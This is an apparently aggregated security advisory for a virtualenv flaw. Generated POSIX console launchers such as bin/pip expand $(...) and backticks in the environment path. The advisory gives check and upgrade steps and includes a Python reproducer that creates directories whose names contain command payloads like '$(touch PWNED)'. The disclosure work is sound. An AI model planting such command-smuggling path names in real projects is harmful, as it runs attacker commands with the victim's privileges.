---
id: "CVE-2026-113722"
kind: "vulnerability"
aliases: ["CVE-2026-113722", "GHSA-c978-59m8-c77v"]
title: "virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax"
severity: "high"
cvss: 7.800000190734863
epss: 0.0016700000269338489
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci", "cwe-78", "package", "pypi", "python", "self-hosted", "virtualenv"]
not_affected_if: ["default-config", "trusted-destination-paths", "windows-only"]
published_at: "2026-10-20T20:17:18+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-c978-59m8-c77v", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113722", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

virtualenv writes POSIX console launchers (such as bin/pip) whose shell wrapper expands $(...) and backticks in the environment path, so a directory name supplied by an attacker can run commands. The commands run with the user's privileges when the user runs the generated launcher, not when the environment is created.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

Look for virtualenv below 21.14.9 with: pip show virtualenv or python -m virtualenv --version. Inspect shebang line 1 of bin/pip in environments whose path contains $ or backticks or is longer than 127 bytes; a /bin/sh wrapper with exec and an unquoted path is affected.

## Fix

Upgrade virtualenv to 21.14.9 and recreate environments, since upgrading alone does not repair existing launchers. Reinstall or upgrade pip afterwards, and check that pip did not rewrite launchers with the vulnerable wrapper.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-c978-59m8-c77v
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113722

## From the sources

## Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

## Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.

## Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

## Affected code

The relevant 21.14.8 source is in
[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).

## Mechanism

The app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like
`'''exec' "<path>" "$0" "$@"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.

## Reproduction and evidence

The scanner created three environments: a control under `my -touch PWNED- project`, one under
`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was
created without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.
[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.

## Attack sequence

```mermaid
sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
```

## Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's
vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing
launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to
regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.
The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are
attributed to the reviewer.

## Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,
`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's
[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.

## Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review
records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are
unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

## Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating
environments at destinations derived from untrusted input.

## Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

## Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_